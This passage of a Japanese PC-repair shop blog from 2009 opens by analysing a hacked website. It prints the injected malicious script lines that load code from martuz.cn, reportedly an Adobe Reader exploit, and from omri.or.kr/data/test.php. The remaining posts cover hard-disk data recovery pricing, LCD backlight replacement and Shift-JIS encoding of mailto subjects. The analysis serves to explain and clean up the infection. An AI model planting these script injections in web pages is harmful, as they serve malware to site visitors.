document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");
}

「http://martuz.cn/vid/?id=Webブラウザの種類」というようなスクリプトを読み込んで実行します。ブラウザのセキュリティーホールを利用した悪意のあるスクリプトを埋め込むことができます。
googleで「martuz.cn」をキーワード検索してみると、どうやらAdobe Readerのセキュリティホールを利用したマルウェアのようです。

10月に対応したホームページは、難読化されておらず、Java Scriptが<body>タグの直前に埋め込まれていました。

<script src=http://omri.or.kr/data/test.php >

いたずらっぽいですが、test.phpの中身までは、検証しませんでした。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2009年11月10日  カテゴリー:故障・修理・トラブル・障害

物理的に壊れたハードディスクからのデータ救済

電話でのデータ救済に関するお問い合わせは、全国からいただいています。ありがたいことです。「これこれこういう症状なのですが、いくらぐらいかかりますか?」など。

物理的にハードディスクが壊れていなければ、最大8,000円ですので、そのようにお答えしているのですが、物理的な破損と論理的な破損の判断が一般の方ではできず、「見てみないことには、データを救済できるかわかりません」となってしまいます。

物理的な破損の場合、診断料をいただきませんので、持ち込みの場合は、出費がありません。郵送の場合、往復の送料がかかることになります。

”ハードディスクをBIOSが認識しない” とか、”ハードディスクから異音がする”などの場合、物理的破損の可能性大です。

ハードディスクが物理的に破損していても、データを救済してくれる会社がありますので、数十万円の出費でもかまわない方は、”データ復旧”などのキーワードでお探し下さい。
なお、IT工房にんにく庵では、(株)データサルベージコーポレーションと業務委託していますので、直接ご依頼いただくより割安な価格で復旧できます。

 

ハードディスクの異音例(MP3 438KByte)

ハードディスクの異音例(MP3 438KByte)

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

データ救済サービス

2009年11月04日  カテゴリー:故障・修理・トラブル・障害

液晶パネルのバックライト切れ

ノートパソコンの液晶画面(LCD。液晶ディスプレイ)は、通常蛍光灯(CCFL。冷陰極管)を裏から当てて光らせています。蛍光灯ですので、寿命があります。また、蛍光灯を点灯するためにインバータという高周波・高電圧を作り出す回路も必要です。

液晶パネルのバックライトが切れると、うっすらと画面が表示されますので、すぐにわかります。

メーカーへ修理に出すと、部品代だけでも2万円以上しますので、合計4万円以上の出費となってしまいます。

IT工房にんにく庵では、新品や中古のLCD、インバータを使って修理していましたが、修理代が高くついて修理をあきらめる方もいらっしゃいました。蛍光管が不良の場合は、液晶パネルを丸ごと交換していましたが、CCFLのみの交換もすることにしました。

CCFL 1本2,000円くらいですので、工賃込みで丁度10,000円で済みます。CCFLは、LCDを分解して、サイズを測ってから注文しますので、修理完了まで1週間程度お預かりとなります。

修理件数が多くなれば、常時在庫を持つようにしようと思います。そうすれば、その場で修理してお渡しすることも可能になります。

バックライトを分解。これは、CCFLが2本のタイプ 過熱が原因?。焼けてしまってます。 蛍光管の端が過熱により液晶パネルにダメージを与えています。
バックライトを分解。これは、CCFLが2本のタイプ 過熱が原因?。焼けてしまってます。 蛍光管の端が過熱により液晶パネルにダメージを与えています。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2009年10月27日  カテゴリー:ホームページ

文字コードがS-JIS以外のHTMLで、mailto:の件名を文字化けさせずに指定する方法

htmlのaタグのsrc要素に mailto:メールアドレス?subject=件名 と指定して、aタグで囲まれた部分をクリックすると、メールソフトの新規入力画面が立ち上がって、宛先と件名部分に、文字が入力された状態になります。

具体例は、ここをクリック

件名部分に2バイト文字(漢字など)を使用することが多いと思いますが、htmlをshift jisコードで作成しないと、2バイト文字部分の文字化けが発生します。

以下、一般に使われている文字コードで作られたhtmlファイルです。

Shift JIS UTF-8 EUC -JP

 

システム的な制約や、多言語対応などで、Shift-JIS以外でhtmlを生成するケースで、mailtoのsubjectを2バイト文字で指定したい場合、どうするか?
私の場合、件名部分のみShift-JISコードに変換してURLエンコードしたものを、記述します。

以下のhtmlファイルが、「テストメール」という件名を、、それぞれShift JISコードで、URLエンコードしたものです。htmlの文字コードに左右されませんので、件名が文字化けしないと思います。

Shift JIS UTF-8 EUC-JP

上記のソースコード部分は、以下のような記述となっています。

<a href="mailto:test@local.jp?subject=%83e%83X%83g%83%81%81%5B%83%8B">メールを送る</a>

”テストメール”という2バイト文字をShift JISコードでURLエンコードしたものが、%83e%83X%83g%83%81%81%5B%83%8B となります。

phpプログラムでURLエンコードするツールを作成しましたので、公開しておきます。ご自由にお使い下さい。

なお、メールアドレス収集ロボット対策として、メールアドレス部分を10進数のHTMLエンティティ化するようにしてあります。

mailto変換プログラム

ソースコード

 

 

IT工房にんにく庵関連ページ

 

ホームページ制作

検索


Feed

Really Simple Syndication 2.0 The Atom Syndication Format Really Simple Discoverability